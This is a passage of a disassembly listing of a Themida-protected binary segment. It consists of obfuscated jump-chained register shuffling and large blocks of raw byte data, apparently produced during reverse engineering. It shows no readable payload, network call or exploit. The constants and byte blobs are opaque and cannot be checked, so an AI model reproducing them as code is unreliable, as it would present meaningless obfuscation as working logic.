		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_610E1A
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C3h
		dd 4, 8704C383h, 525C241Ch, 0E951E289h,	0FFFFB59Bh
; ---------------------------------------------------------------------------


loc_618EE8:				; CODE XREF: Themida_:00619B3Ej
		push	1
		pop	esi
		push	ecx
		mov	ecx, esi
		jmp	loc_610CB4
; ---------------------------------------------------------------------------


loc_618EF6:				; CODE XREF: Themida_:0061AB5Ej
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		push	0E4Eh
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_615B48
; ---------------------------------------------------------------------------


loc_618F2A:				; CODE XREF: Themida_:00612CB4j
		add	eax, 1F15E16h
		sub	eax, 70EFDCF3h
		mov	edx, eax
		jmp	loc_6137E6
; ---------------------------------------------------------------------------


loc_618F3B:				; CODE XREF: Themida_:00613E98j
		xchg	esi, [esp]
		jmp	loc_61B116
; ---------------------------------------------------------------------------


loc_618F43:				; CODE XREF: Themida_:006119F2j
		add	edx, 3DD93F9Bh
		xor	edx, 60B32BB8h
		add	edx, 0E2935481h
		mov	ebx, edx
		jmp	loc_60FCE6
; ---------------------------------------------------------------------------
		dd 0E0E94C04h, 8BFFFFCEh, 89522404h, 0BEA0E9E2h, 335BFFFFh
		dd 3C31243Ch, 243C3324h, 112BE9h, 0E6E95100h, 5FFFFA4h
		dd 4, 5C240487h, 515ABD55h, 31E90055h, 8B00000Fh, 0C0E92404h
		dd 8900001Ch, 6CBA2414h, 0E93AB766h, 1DDh, 240C8B66h, 7A8668h
		dd 24348900h, 25B468h, 2E95400h, 58FFFF78h, 0FFC1F3E9h
		dd 64D82DFFh, 0ED81398Fh, 21C8386Ch, 0C7E9C501h, 5AFFFF73h
		dd 2B8AE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_618FE2:				; CODE XREF: Themida_:006187F1j
		sub	dword ptr [esp], 1
		pop	edx
		jmp	loc_618A4B
; ---------------------------------------------------------------------------
		dd 0D8F6B3B0h, 6EE9C8FEh, 5DFFFFBAh, 0FFB566E9h, 0B25266FFh
		dd 0E9D300DCh, 0FFFFCA52h, 0D53CE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61900E:				; CODE XREF: Themida_:006186CCj
		push	25Ah
		mov	[esp], edi
		jmp	loc_619D66
; ---------------------------------------------------------------------------


loc_61901B:				; CODE XREF: Themida_:00618AF0j
		pop	esi
		add	esp, 4
		or	eax, eax
		jz	loc_618074
		push	dword ptr [edi+1Ch]
		jmp	loc_611B15
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_6146AD
; ---------------------------------------------------------------------------
		dd 6624248Bh, 8124148Bh, 4ECh, 24148900h, 2434FF54h, 0E92434FFh
		dd 0FFFFF42Fh, 4C481h, 19E90000h, 66FFFFFEh, 53240C8Bh
		dd 7CB9E953h, 8B66FFFFh, 0C4682404h, 8900000Dh,	0E789243Ch
		dd 36D36855h, 14890000h, 38176824h, 0E95A0AE5h,	0FFFF8019h
		dd 4C181h, 0C1830000h, 18136804h, 7EE90000h, 89FFFFC5h
		dd 94E9240Ch, 0BDFFFFB6h, 4, 4729E981h,	0E9014812h, 0FFAC3EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6190C1:				; CODE XREF: Themida_:00611391j
		mov	esi, 452FD555h
		xor	edi, esi
		pop	esi
		jmp	loc_61AB2E
; ---------------------------------------------------------------------------


loc_6190CE:				; CODE XREF: Themida_:00611637j
		mov	ecx, ebx
		pop	ebx
		add	ecx, 6237351h
		inc	ecx
		jmp	loc_611017
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFFE02Bh, 887C581h, 0B9514379h, 0DDD090E4h
		dd 0A4E9CD01h, 6600002Dh, 1AEFE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_619102:				; CODE XREF: Themida_:0061023Bj
		mov	ebx, 21AD2941h
		sub	ecx, ebx
		pop	ebx
		jmp	loc_6178B1
; ---------------------------------------------------------------------------
		db 55h
		dd 110E9h, 35D0F700h, 0D7FCAC1Bh, 34FFC101h, 9C4EE924h
		dd 0DB3FFFFh, 8004E3C0h, 0A4E95EF3h, 0BDFFFF6Eh, 4E197DA7h
		dd 0C15DEF31h, 0B85005EFh, 42E63FFAh, 7F742635h, 21E94071h
		dd 5EFFFFE0h, 0C381C329h, 78EB68CEh, 7576BD55h,	0EB29015Eh
		dd 0FFCCECE9h, 24048BFFh, 815D5455h, 4C5h, 4EC8100h, 89000000h
		dd 0CFBA2414h, 0C1696C2Eh, 0E2D104E2h, 0FF8E94E9h, 0CCF281FFh
		dd 0C136875Ah, 0E28107EAh, 503F38A2h, 9A22C281h, 0D0018E05h
		dd 58C2015Ah, 0FF6725E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6191A9:				; CODE XREF: Themida_:00612B28j
		add	edi, eax
		jmp	loc_610BB2
; ---------------------------------------------------------------------------
		dd 184EBD55h, 81457B67h, 1D1BE4C5h, 5DEE31FEh, 90E9F101h
		dd 0FFFF89h, 0E93E04E8h, 0FFFFEB8Eh, 8124148Bh,	4C4h, 55C32900h
		dd 5C32BA52h, 3DBD69EEh, 0E96E41BCh, 0FFFF8EDEh, 4EC81h
		dd 3C890000h, 815F5424h, 4C7h, 0B5C2E900h, 1431FFFFh, 17C3E924h
		dd 0D3660000h, 0E99C2424h, 0FFFF66BAh, 0FF66B5E9h, 2DD801FFh
		dd 6BD52336h, 0FF71FCE9h, 3FB7BDFFh, 4FE92749h,	0ADFFFF9Dh
		dd 17522C2Dh, 55D8291Fh, 17522CBDh, 0E23681Fh, 2BE90000h
		dd 0C1000029h, 73E908EEh, 80FFFFD6h, 0D02828EAh, 0FFC35FE9h
		dd 50FEBDFFh, 0C2E95C66h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_619263:				; CODE XREF: Themida_:00611012j
		pop	eax
		neg	eax
		xor	eax, 0B3A5C1DBh
		mov	edx, eax
		pop	eax
		jmp	loc_61032B
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0D0F72404h, 2474FF50h, 1BCAE904h, 3CBA0000h,	8967D90Fh
		dd 0DFF75AD7h, 0FFF16FE9h, 2B6855FFh, 5D28F732h, 4D05E5C1h
		dd 0BAA3C581h, 0EFE9E119h, 50000011h, 761E9h, 241C8700h
		dd 8081E95Ch, 0C981FFFFh, 3F2174D3h, 39B1E981h,	1BE9DEE6h
		dd 0B9FFFFD1h, 7A414999h, 0C349E953h, 0BA52FFFFh, 4, 670E9A05h
		dd 0B34EE90Eh, 2BDFFFFh, 1000000h, 1C335DEBh, 8F7BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6192F2:				; CODE XREF: Themida_:00619CDDj
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_611EBF
; ---------------------------------------------------------------------------


loc_6192FF:				; CODE XREF: Themida_:00612AE0j
		pop	edi
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 0AA03732h
		sub	dword ptr [esp+4], 47AB1AC5h
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_617FB3
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 81E18924h, 4C1h, 4E98100h, 51000000h, 42474FFh, 0FF7B87E9h
		dd 0C8B66FFh, 0EC6824h,	93E90000h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_61934F:				; CODE XREF: Themida_:00613E61j
		sub	edx, 8311014Ch
		jmp	loc_618D8F
; ---------------------------------------------------------------------------


loc_61935A:				; CODE XREF: Themida_:006194BEj
		push	4C9Eh
		mov	[esp], ecx
		mov	ecx, 63E11162h
		jmp	loc_61046E
; ---------------------------------------------------------------------------
		dd 57E9505Dh, 0F600001Eh, 0E99C241Ch, 0FFFFD593h, 31242C33h
		dd 2C33242Ch, 8F0FE924h, 0C31FFFFh, 0B875E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_619392:				; CODE XREF: Themida_:0061267Fj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_614ACD
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 14895C24h,	565A5424h
		dd 0A9423ABEh, 0B7EE904h, 0EC830000h, 240C8904h, 4EC81h
		dd 56E90000h, 66FFFF8Ah, 663040BEh, 0B2E9DEF7h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6193DF:				; CODE XREF: Themida_:006120BEj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	eax, esi
		sub	eax, 55867F9Fh
		pop	esi
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		jmp	loc_611257
; ---------------------------------------------------------------------------
		db 68h,	0A0h, 2Fh
		dd 0EC810000h, 4, 0E9242489h, 0BE6h, 5104C483h,	0C2B7E950h
		dd 0CB81FFFFh, 9F01910h, 8904EC83h, 0FCBE2434h,	29E057B4h
		dd 2434FFF3h, 4C4835Eh,	0FF6E23E9h, 5AD388FFh, 75A5E950h
		dd 900DFFFFh, 0E924777Eh, 29F7h, 0B073E953h, 0C166FFFFh
		dd 0F76606E2h, 0BD6655D2h, 66E96CE5h, 81FFFFF8h, 673B8C2h
		dd 5AD529C8h, 15DE801h,	75B72DC8h, 81591F81h, 0FC7151C3h
		dd 97EB8133h, 81212503h, 0CF6190C3h, 0A4B8503Ah, 0C1267D51h
		dd 0E8C106E8h, 26EA2D02h, 2A054491h, 502BC554h,	0FF8919E9h
		dd 0E9D530FFh, 0FFFFDE36h, 8904EC83h, 80BB241Ch, 2164A845h
		dd 0E9525BDDh, 0FFFFF4CBh
; ---------------------------------------------------------------------------


loc_6194BC:				; CODE XREF: Themida_:006143DAj
		sub	edx, eax
		jmp	loc_61935A
; ---------------------------------------------------------------------------
		db 5Bh
		dd 34FFC328h, 0C4815824h, 4, 0FFC0B60Fh, 0F3E98734h, 8FFFFF63h
		dd 63ECE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6194E2:				; CODE XREF: Themida_:0060FBD2j
		mov	[esp], edi
		push	5ECDh
		mov	[esp], esi
		push	37C75310h
		pop	esi
		add	esi, 0C858ACF0h
		mov	edi, esi
		jmp	loc_617B9C
; ---------------------------------------------------------------------------
		dd 4C18159h, 57000000h,	4BFh, 5FF90100h, 0E9240C33h, 0FFFFFE72h
		dd 0F7241489h, 148B2414h, 0D747E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_619526:				; CODE XREF: Themida_:00611621j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_618562
; ---------------------------------------------------------------------------
		db 8Fh
		dd 895C2404h, 0BB532424h, 4, 4245C01h, 0BF57585Bh, 2B7A1499h
		dd 6C92CF81h, 0E7C11AC8h, 0BCC3E902h, 3BFFFFFh,	0C120B638h
		dd 9EE906E7h, 8BFFFF63h, 0C483240Ch, 24348704h,	249FE9h
		dd 4BF00h, 0FE010000h, 0FF8044E9h, 24148BFFh, 0FF04C483h
		dd 1C8B2434h, 4C48324h,	8104C483h, 32E78C3h, 24348B53h
		dd 0E904C483h, 0FFFF632Eh, 4BB5358h, 1000000h, 686FE9D8h
		dd 6855FFFFh, 31334C4Ch, 81242C8Bh, 4C4h, 0E9E98900h, 0FFFFA1A5h
		dd 4093C581h, 0A7E91FB4h, 81FFFF68h, 4ECh, 24148900h, 0E166E0BAh
		dd 5AD12162h, 6ADFB850h, 0C12900D0h, 63F18158h,	13499B2h
		dd 1742E9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6195F6:				; CODE XREF: Themida_:0061A6DAj
		add	edi, 3DC91E05h
		add	edi, ebx
		sub	edi, 3DC91E05h
		sub	edi, 16B046A3h
		pop	ebx
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_61B423
; ---------------------------------------------------------------------------


loc_61961C:				; CODE XREF: Themida_:00615B6Ej
		mov	edx, ebp
		mov	ebp, [esp]
		jmp	loc_6143A4
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 0E9000000h, 0FFFF8775h
; ---------------------------------------------------------------------------


loc_619630:				; CODE XREF: Themida_:00610D63j
		mov	eax, 0FF15EC9h
		xor	eax, 15B77A93h
		jmp	loc_612044
; ---------------------------------------------------------------------------
		db 89h
		dd 87E92404h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_619647:				; CODE XREF: Themida_:006105AEj
		sub	ecx, 4
		jmp	loc_611668
; ---------------------------------------------------------------------------


loc_61964F:				; CODE XREF: Themida_:00612647j
		add	esp, 4
		shr	ecx, 6
		push	ebx
		jmp	loc_61B00B
; ---------------------------------------------------------------------------
		dw 4481h
		dd 1F770424h, 17E958E0h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61966B:				; CODE XREF: Themida_:00616944j
		pop	eax
		jmp	loc_616660
; ---------------------------------------------------------------------------
		db 0D3h, 2 dup(24h)
		dd 6254E99Ch, 5A66FFFFh, 0AE91404h, 8BFFFFAEh, 0C481242Ch
		dd 4, 4AE95451h, 81FFFF78h, 8FF9FBEFh, 5FFA0146h, 33B2B850h
		dd 0E0C13EBFh, 8761E902h, 67B8FFFFh, 4858A81Fh,	81E78957h
		dd 4C7h, 4EF8300h, 0FFDE3CE9h, 0B9FFh, 0D1010000h, 34FF0103h
		dd 44E95924h, 5AFFFF8Eh, 875EF101h, 0A7E9240Ch,	89FFFFB5h
		dd 481241Ch, 94603724h,	0E957582Dh, 0B01h, 35E6815Dh, 0D1567602h
		dd 6F681EEh, 1280000h, 0EC835EF3h, 242C8904h, 0FFFBD5E9h
		dd 57E95CFFh, 55FFFFC7h, 0FFE531E9h, 357D2DFFh,	55D6B41h
		dd 4, 31240433h, 4332404h, 64E9E924h, 0FA29FFFFh, 2457895Fh
		dd 2468505Ah, 58000000h, 801F801h, 0FFD4D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_619749:				; CODE XREF: Themida_:00615471j
		add	esp, 4
		push	edx
		jmp	loc_619876
; ---------------------------------------------------------------------------


loc_619755:				; CODE XREF: Themida_:00612D8Ej
		push	esi
		pop	eax
		push	dword ptr [esp]
		jmp	loc_6125FF
; ---------------------------------------------------------------------------
		db 66h
		dd 664E2E2Dh, 662E702Dh, 0E90A6005h, 0FFFF9FBEh
; ---------------------------------------------------------------------------


loc_619770:				; CODE XREF: Themida_:006176DFj
		pop	edi
		xchg	edi, esi
		sub	esi, 0FFFFFFFFh
		sub	esp, 4
		jmp	loc_61AECA
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 2Ch
		dd 0FFDBF4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_619789:				; CODE XREF: Themida_:00618672j
		not	edx
		jmp	loc_614AF0
; ---------------------------------------------------------------------------
		dd 88C28852h, 78D4E9D1h, 4D45FFFFh, 4EFDF581h, 41E934BAh
		dd 81FFFFB4h, 8C4AF6F2h, 0A5EE8157h, 1253540h, 0A5C681D6h
		dd 5A253540h, 2474FF56h, 24348B04h, 4C481h, 48F0000h, 24248B24h
		dd 2AE9F1F7h, 68FFFF8Bh, 1EDB7125h, 56242C8Bh, 30E9E689h
		dd 81FFFF8Ah, 616F2EE9h, 19C18146h, 817C9D40h, 199B72C1h
		dd 8BC8315Ch, 55E9240Ch
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_619803:				; CODE XREF: Themida_:00617204j
		pop	edi
		jmp	loc_612F89
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 21DE68h, 242C8900h, 0C5815D54h, 4, 8704C583h, 248B242Ch
		dd 60A4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61982A:				; CODE XREF: Themida_:00613089j
		pop	edi
		add	ebx, 59535A8Dh
		sub	esp, 4
		jmp	loc_614415
; ---------------------------------------------------------------------------


loc_61983C:				; CODE XREF: Themida_:0061090Aj
		pop	esp
		mov	[esp], esi
		mov	esi, 0BA74D569h
		add	edi, esi
		pop	esi
		push	0CAAh
		mov	[esp], eax
		mov	eax, edi
		push	eax
		pop	ecx
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_61259F
; ---------------------------------------------------------------------------
		db 8Bh
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_615D32
; ---------------------------------------------------------------------------


loc_61986E:				; CODE XREF: Themida_:00619EB0j
		add	esp, 4
		jmp	loc_614435
; ---------------------------------------------------------------------------


loc_619876:				; CODE XREF: Themida_:00619750j
		mov	edx, 154620F8h
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_6121B4
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 74h
		dd 0BFFFFFA6h, 75696F6Eh, 7159E781h, 0EFC15C41h, 0E960E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6198AA:				; CODE XREF: Themida_:00616D14j
		mov	[esp], edx
		mov	edx, 0C6665A6h
		and	edx, 7EC2131h
		and	edx, 2D4A65BEh
		or	edx, 293046D7h
		neg	edx
		add	edx, 3C20CBE1h
		jmp	loc_61496D
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 89h
		dd 3A68241Ch, 8900007Bh, 45B22414h, 8099EA80h, 1CE9EAF2h
		dd 56FFFFA9h, 0FFB681E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6198F1:				; CODE XREF: Themida_:006130D2j
		push	ecx
		mov	ecx, 0FC37A9Ch
		neg	ecx
		not	ecx
		add	ecx, 1
		push	edx
		mov	edx, 0D227307h
		jmp	loc_617B01
; ---------------------------------------------------------------------------
		dd 335FF801h, 4312404h,	9ACAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61991A:				; CODE XREF: Themida_:00611AE5j
		sub	edx, 60D5368Ch
		jmp	loc_6131BB
; ---------------------------------------------------------------------------
		db 66h,	0FFh, 30h
		dd 0FF5FA1E9h, 0BD5557FFh, 24FD3A18h, 0F3A58DBFh, 5DEF299Fh
		dd 7F0CE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_619942:				; CODE XREF: Themida_:006100CFj
		pop	ecx
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, esi
		pop	esi
		jmp	loc_6129F2
; ---------------------------------------------------------------------------


loc_619956:				; CODE XREF: Themida_:006105BEj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_61BEAB
		sub	esp, 4
		mov	[esp], esi


loc_619966:				; DATA XREF: Themida_:off_61EB38o
		push	3932h
		jmp	loc_6166A5
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFBD78h, 8BD32959h, 0C4812414h, 4, 3EBC15Dh
		dd 64B5EB81h, 3BE915ECh, 81FFFF5Fh, 0DE3F23C1h,	0B61EE96Ch
		dd 0E689FFFFh, 4C681h, 4AE90000h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6199AB:				; CODE XREF: Themida_:0061A126j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_61174A
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0CEh
		dd 0E978EB68h, 0FFFF6397h, 8020E480h, 0E3282BC4h, 8BDD8858h
		dd 0C481241Ch, 4, 0F6ABED80h, 66C5FED5h, 0BDB252h, 285A66D5h
		dd 73CCE9EBh, 0CC88FFFFh, 0E188D4F6h, 0B8E98058h, 0E95EC180h
		dd 0FFFF8016h, 0FE3E9DBAh, 0D18EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_619A2A:				; CODE XREF: Themida_:00618618j
		pop	eax
		jmp	loc_6141DF
; ---------------------------------------------------------------------------
		dd 0FF5E99E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_619A35:				; CODE XREF: Themida_:0060FDC4j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bl, 0D1h
		mov	dh, bl
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_617764
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 5004C483h, 0FF911BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_619A65:				; CODE XREF: Themida_:006128B6j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_616E35
; ---------------------------------------------------------------------------
		db 83h,	0EFh, 4
		dd 5C243C87h, 0E9242C89h, 15B3h, 240C8B66h, 8BC2E951h
		dd 0F8B8FFFFh, 2D69022Fh, 20C306C8h, 23B2425h, 93EFE956h
		dd 5429FFFFh, 0CEE90424h, 81FFFFFAh, 0C65DF9EAh, 0EEF2812Ah
		dd 0E9EF28E4h, 0FFFF7021h, 9F657E05h, 0ACF42D54h, 0C231D117h
		dd 8BD02958h, 0C4812414h, 4, 0FFA813E9h, 0D16851FFh, 0E932600Dh
		dd 0FFFFED0Eh
; ---------------------------------------------------------------------------


loc_619AE8:				; CODE XREF: Themida_:00610BC1j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		sub	eax, 2887576h
		push	437Fh
		mov	[esp], ebp
		push	esi
		jmp	loc_618BE3
; ---------------------------------------------------------------------------
		db 89h
		dd 0AB43E9EEh, 4BFFFFFh, 1000000h, 0C2835FFAh, 24143304h
		dd 33241431h, 0E95C2414h, 0FFFF5DA6h
; ---------------------------------------------------------------------------


loc_619B28:				; CODE XREF: Themida_:0061816Aj
		pop	esi
		jmp	loc_61A4FC
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 3EE90000h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_619B3B:				; CODE XREF: Themida_:0061625Cj
		mov	[esp], esi
		jmp	loc_618EE8
; ---------------------------------------------------------------------------
		db 89h
		dd 2BA2414h, 0E9000000h, 0FFFFCA2Ah, 1C5F0959h,	0FFFCB0E9h
		dd 25F781FFh, 574B280Fh, 0F75E5F56h, 5F5657D6h,	1C7835Eh
		dd 5998B951h, 0CF31805Eh, 8DABE959h, 0E289FFFFh, 4C281h
		dd 0EA810000h, 4, 5C241487h, 83242489h,	5D042404h, 4C581h
		dd 0E9530000h, 0FFFFF6F1h
; ---------------------------------------------------------------------------


loc_619BA0:				; CODE XREF: Themida_:0061385Bj
		add	edi, 4
		push	eax
		mov	eax, 4
		sub	edi, eax
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_614AC5
; ---------------------------------------------------------------------------
		db 88h,	0E6h, 58h
		dd 0FF9D90E9h, 7ECB81FFh, 525F9A3Eh, 0DF2878BAh, 62C28106h
		dd 427E0035h, 0FFA50AE9h, 5CECE9FFh, 0C783FFFFh, 243C8704h
		dd 0FF842AE9h, 0E08950FFh, 1F69BA52h, 9BE97591h, 0FFFFFFD4h
		dd 56592434h, 0C681E689h, 4, 4EE81h, 0BAE90000h, 89FFFF85h
		dd 13E95EF0h, 2DFFFFB3h, 50DB1CD5h, 2404875Eh, 4B8505Ch
		dd 1000000h, 0C38158C3h, 2, 0E9241C87h,	223Bh, 6C66EB81h
		dd 0EB816FE9h, 0CE4FDD4Bh, 875BDD01h, 0F75C242Ch, 0DADDE9F9h
		dd 0E981FFFFh, 4, 0FFC201E9h, 0B8E781FFh, 815CD877h, 0B829EFEFh
		dd 8BFE21E3h, 0C483243Ch, 1AE95004h, 1FFFF76h, 0CAC281C2h
		dd 8129AB4Fh, 82949C2h,	0DB3FE945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_619C8E:				; CODE XREF: Themida_:00614AC8j
		push	7325h
		jmp	loc_61662D
; ---------------------------------------------------------------------------


loc_619C98:				; CODE XREF: Themida_:00613186j
		mov	[esp], ecx
		xchg	ebx, [esp]
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xchg	ebx, [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_6152BE
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 69676F7Eh, 0C681C601h, 69676F7Eh, 7C1B68h, 24048900h
		dd 0FF5FFBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_619CCD:				; CODE XREF: Themida_:00614BE3j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebx, 4
		jmp	loc_6192F2
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 5AE95424h, 83FFFFE8h, 3C8704C7h, 38E95C24h, 66FFFFAEh
		dd 59BF6657h, 0F8096644h, 0ECE9h, 24348900h, 0BF57E689h
		dd 4, 0FFABA1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_619D15:				; CODE XREF: Themida_:006128DBj
		pop	eax
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_611FC6
; ---------------------------------------------------------------------------
		dd 4C6835Bh, 31243433h,	34332434h, 0F9D3E924h, 0F781FFFFh
		dd 159E3D47h, 0F6E9FB31h, 81000017h, 745B6BCDh,	0F3ED8148h
		dd 0E91CB252h, 0FFFF9D28h, 5C24048Fh, 89241C89h, 6286E9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_619D66:				; CODE XREF: Themida_:00619016j
		push	edi
		mov	edi, 601442EFh
		add	[esp+4], edi
		pop	edi
		mov	ecx, [esp]
		jmp	loc_6121EE
; ---------------------------------------------------------------------------
		db 5Ch,	20h, 4
		dd 0E5E99C24h, 89FFFFCEh, 0E589242Ch, 4C581h, 0C5810000h
		dd 4, 5DB6E956h, 0C568FFFFh, 8900006Dh,	0E9502414h, 1C4Ah
		dd 0BD4D682Dh, 53E80161h, 2718F5BBh, 9DF38140h,	1219A55h
		dd 575D5BD8h, 0FF6B7DE9h, 41D9F7FFh, 0FFFA1AE9h, 0AAC680FFh
		dd 0E91DF680h, 0FFFFDFF5h
; ---------------------------------------------------------------------------


loc_619DD8:				; CODE XREF: Themida_:0061311Bj
		sub	ebp, 572B88E5h
		jmp	loc_6168E7
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8B241487h, 0E9F62424h, 0FFC5C1E9h, 665F66FFh, 6608E8C1h
		dd 40BA6652h, 6592E911h, 0E955FFFFh, 0FFFFF2A7h, 0FF5AC1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_619E0D:				; CODE XREF: Themida_:0061BA48j
		add	esi, 4
		add	esi, 4
		jmp	loc_612FD3
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0FBC2E9CCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_619E22:				; CODE XREF: Themida_:0060FD39j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_60FDE6
; ---------------------------------------------------------------------------
		db 89h
		dd 0C8E9242Ch, 5FFFF7Fh, 753825B6h, 0FF6DA0E9h,	98F781FFh
		dd 8141CA1Eh, 576E78F7h, 2BEF810Ch, 8108FE72h, 249D70EFh
		dd 5FF80132h, 5004C083h, 42474FFh, 24048F58h, 0F24248Bh
		dd 68DD68C8h, 0C890000h, 50E18924h, 0FFFC19E9h,	243C8BFFh
		dd 4C481h, 47E90000h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_619E87:				; CODE XREF: Themida_:00618599j
		inc	ecx
		not	ecx
		shr	ecx, 3
		add	ecx, 2284FE4Fh
		xor	edx, ecx
		jmp	loc_61262F
; ---------------------------------------------------------------------------


loc_619E9A:				; CODE XREF: Themida_:0061121Aj
		sub	ebp, 0FE07F25h
		neg	ebp
		push	ecx
		mov	ecx, 841FB5BFh
		sub	ebp, ecx
		pop	ecx
		sub	esi, ebp
		mov	ebp, [esp]
		jmp	loc_61986E
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 8Ah
		dd 89FFFFCFh, 4C681E6h,	0E9000000h, 173h, 0E581D5F7h, 51F214B4h
		dd 81D5F74Dh, 4A3B91F5h, 0BCF5810Ah, 1CE46C8h, 0C3295DEBh
		dd 37568h, 240C8900h, 0FF927DE9h, 0E68956FFh, 4C681h, 0EE810000h
		dd 4, 5C243487h, 0BB241C89h, 1Ch, 5251FB01h, 591EEE68h
		dd 24148B7Bh, 5204C483h, 5A241CF7h, 4EC81h, 4890000h, 57F2B824h
		dd 0E8C16BCFh, 8DC3508h, 9D2D5661h, 0E940FB20h,	0FFFFD442h
		dd 8108EEC1h, 4A93EEEh,	77ADE900h, 0B850FFFFh, 7B21481Eh
		dd 2BE9C531h, 6600000Ah, 6824048Bh, 310Ah, 89241C89h, 0A60DE9E3h
		dd 489FFFFh, 0F649B024h, 0F67634D0h, 5E8C0D8h, 405E8C0h
		dd 8D8EE999h, 34FFFFFFh, 0C4815824h, 4,	5A2434FFh, 0FF8428E9h
		dd 2474FFFFh, 48F5F04h,	2A685C24h, 89000049h, 1FE92404h
